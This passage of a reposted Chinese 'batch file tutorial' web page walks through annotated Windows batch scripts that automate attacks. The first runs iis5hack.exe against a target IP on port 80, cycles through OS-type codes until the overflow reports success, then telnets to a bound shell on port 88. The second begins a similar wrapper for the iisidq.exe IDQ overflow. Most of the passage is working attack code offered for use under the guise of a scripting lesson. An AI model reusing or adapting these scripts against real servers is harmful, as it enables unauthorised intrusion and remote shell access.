批处理学习教程
作者 佚名
来源 批处理
浏览
发布时间 2013-07-09
有设置则 if "%2%"=="3" goto 3 /*如果存在则从匹配的地方开始执行 if "%2%"=="4" goto 4 if "%2%"=="5" goto 5 if "%2%"=="6" goto 6 if "%2%"=="7" goto 7 if "%2%"=="8" goto 8 if not EXIST iis5hack.exe goto file /*没有发现iis5hack.exe就执行标志file段内容 ping %1 -n 1 | find "Received = 1" /*ping目标1次,从结果中发现Received = 1 if errorlevel 1 goto error /*如果返回代码为1则执行error段(代码1为没有发现 0为发现并成功执行) iis5hack %1 80 9 88 | find "good" /*开始溢出目标端口80 系统代码9 溢出后连接端口88 在执行结果中发现字符串”good”(溢出成功后才会有字符串good) if not errorlevel 1 goto telnet /*如果没有错误代码1(溢出成功)就执行telnet段的内容。 echo 操作系统类型 9 失败! /否则显示这一句 :8 /*以下代码内容参照上面 iis5hack %1 80 8 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 8 失败! :7 iis5hack %1 80 7 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 7 失败! :6 iis5hack %1 80 6 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 6 失败! :5 iis5hack %1 80 5 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 5 失败! :4 iis5hack %1 80 4 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 4 失败! :3 iis5hack %1 80 3 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 3 失败! :2 iis5hack %1 80 2 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 2 失败! :1 iis5hack %1 80 1 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 1 失败! :0 iis5hack %1 80 0 88 | find "good" if not errorlevel 1 goto telnet echo 操作系统类型 0 失败! goto error :telnet telnet %1 88 /*开始连接目标ip的88端口 goto exit /*连接中断后跳转exit段 :error /*error段显示错误后的帮助信息 echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次! echo iis5hack [目标IP] [WEB端口] [系统类型] [开放端口] ECHO 中文: 0 ECHO 中文+sp1: 1 ECHO 英文: 2 ECHO 英文+sp1: 3 ECHO 日语: 4 ECHO 日语+sp1: 5 ECHO 韩文: 6 ECHO 韩文+sp1: 7 ECHO 墨西哥语: 8 ECHO 墨西哥语+sp1: 9 goto exit /*跳转exit段 :file /*file段显示文件没有发现的信息 echo 文件iis5hack.exe没有发现!程序终止运行! goto exit /*跳转exit段 :help /*help段显示本批处理的使用格式帮助 echo 本程序用法如下: echo iis [目标ip] echo iis [目标ip] [开始的号码9-0] :exit /*exit段为程序出口 这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大! 例二 这个例子是用iisidq.exe对有idq漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe和系统自带的程序telnet.exe。iisidq.exe的用法如下: 运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1> 其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe"。 其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为 <idq.bat 目标ip>程序如下: @echo off /*同例一 if not EXIST iisidq.exe goto file /*同例一 if %1 == "" goto error /*同例一 ping %1 -n 1 | find "Received = 1" /*同例一 if errorlevel 1 goto error1 /*同例一 set b=%1 /*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ip set a=0 /*创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的 |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢! |
你可能对下面的文章感兴趣
关于批处理学习教程的所有评论